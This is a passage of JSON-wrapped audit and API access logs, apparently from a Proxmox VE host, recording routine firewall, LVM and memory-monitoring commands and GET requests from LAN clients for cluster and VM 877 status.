type=EXECVE msg=audit(1781965427.959:65575): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964345243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.243:60634): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ece90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965830715,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965425667,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.667:65572): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964345236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.236:60633): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136590 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965830715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 948"} {"@timestamp":1781965425662,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.662:65571): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964345227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.227:60632): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ada0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965829709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781965425660,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.660:65570): argc=1 a0=\"date\""} {"@timestamp":1781964345220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.220:60631): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc100f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965828725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781965425656,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.656:65568): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964345203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.203:60630): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ada0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965828725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965425648,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.648:65567): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964345188,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.188:60629): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c4740 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58212 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965828725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965425640,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.640:65566): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964345168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.168:60628): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58211 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965827695,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965425630,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.630:65565): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964345153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.153:60627): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58210 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965827695,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965425622,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.622:65564): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964345146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.146:60626): arch=c000003e syscall=59 success=yes exit=0 a0=60ed4a0dfae0 a1=60ed4a0eb9b0 a2=60ed4a0b9680 a3=5 items=2 ppid=58203 pid=58209 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965826562,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781965425616,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.616:65562): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964345140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.140:60625): arch=c000003e syscall=59 success=yes exit=0 a0=60ed36b58ac8 a1=7ffd134682f0 a2=60ed4a0b9680 a3=60ed36b3c24e items=2 ppid=58203 pid=58205 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965826562,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781965425610,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.610:65561): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964345138,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.138:60624): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd134682b0 a1=60ed4a0db180 a2=60ed4a0b9680 a3=5 items=2 ppid=58203 pid=58204 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965824785,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 883"} {"@timestamp":1781965425603,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.603:65560): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964345132,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.132:60622): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965824785,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965425598,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.598:65559): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964345122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.122:60621): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965823763,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965425591,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.591:65558): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964345110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.110:60620): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965823763,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965425587,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.587:65557): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964345100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.100:60619): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac89b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965823763,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965425578,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.578:65556): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964345087,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.087:60618): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ae30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965822751,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965425571,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.571:65555): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964345074,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.074:60617): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb740eab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58198 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965822751,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781965425567,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.567:65554): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964344948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964344.948:60616): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1a52d70 a1=64f8d741ba30 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58195 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965820745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965425557,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.557:65553): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964344904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964344.904:60615): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74090d0 a1=64f8d73b8340 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965820745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781965425551,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.551:65552): argc=1 a0=\"date\""} {"@timestamp":1781964343871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964343.871:60614): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965820745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965425542,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.542:65550): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964343858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964343.858:60611): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58192 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965820745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965425524,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.524:65549): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964339647,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964339.647:60608): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253810 a1=637ee7253520 a2=637ee7240ef0 a3=8 items=2 ppid=58188 pid=58190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965819739,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965425517,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.517:65548): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964339647,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964339.647:60607): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253660 a1=637ee7254820 a2=637ee7240ef0 a3=8 items=2 ppid=58188 pid=58189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965819739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965425512,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.512:65547): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964339644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964339.644:60606): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254420 a1=637ee7242a20 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=58187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965818547,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781965425504,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.504:65546): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964338848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964338.848:60605): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965818547,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965425496,"@rawstring":"node=pve type=EXECVE msg=audit(1781965425.496:65545): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964338835,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964338.835:60602): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965816709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965424186,"@rawstring":"node=pve type=EXECVE msg=audit(1781965424.186:65544): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964336057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.057:60599): arch=c000003e syscall=59 success=yes exit=0 a0=5d48647da0a0 a1=5d48647d6e20 a2=5d48647b8680 a3=5 items=2 ppid=58178 pid=58184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965816709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 890"} {"@timestamp":1781965424164,"@rawstring":"node=pve type=EXECVE msg=audit(1781965424.164:65543): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964336054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.054:60598): arch=c000003e syscall=59 success=yes exit=0 a0=5d4859165ac8 a1=7fffb605ec30 a2=5d48647b8680 a3=5d485914924e items=2 ppid=58178 pid=58180 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965816709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965422949,"@rawstring":"node=pve type=EXECVE msg=audit(1781965422.949:65542): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964336052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.052:60597): arch=c000003e syscall=59 success=yes exit=0 a0=7fffb605ebf0 a1=5d48647bf310 a2=5d48647b8680 a3=5 items=2 ppid=58178 pid=58179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965816709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965422941,"@rawstring":"node=pve type=EXECVE msg=audit(1781965422.941:65539): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964336049,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.049:60595): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965815507,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=EXECVE msg=audit(1781965420.439:65536): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964336042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.042:60594): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965815507,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965420439,"@rawstring":"node=pve type=EXECVE msg=audit(1781965420.439:65535): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964336036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.036:60593): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965814402,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781965420438,"@rawstring":"node=pve type=EXECVE msg=audit(1781965420.438:65534): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964336030,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.030:60592): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965814402,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:30:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965417931,"@rawstring":"node=pve type=EXECVE msg=audit(1781965417.931:65533): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964336022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.022:60591): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965812770,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:30:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781965417925,"@rawstring":"node=pve type=EXECVE msg=audit(1781965417.925:65530): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964336019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.019:60590): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d4569273740 items=0 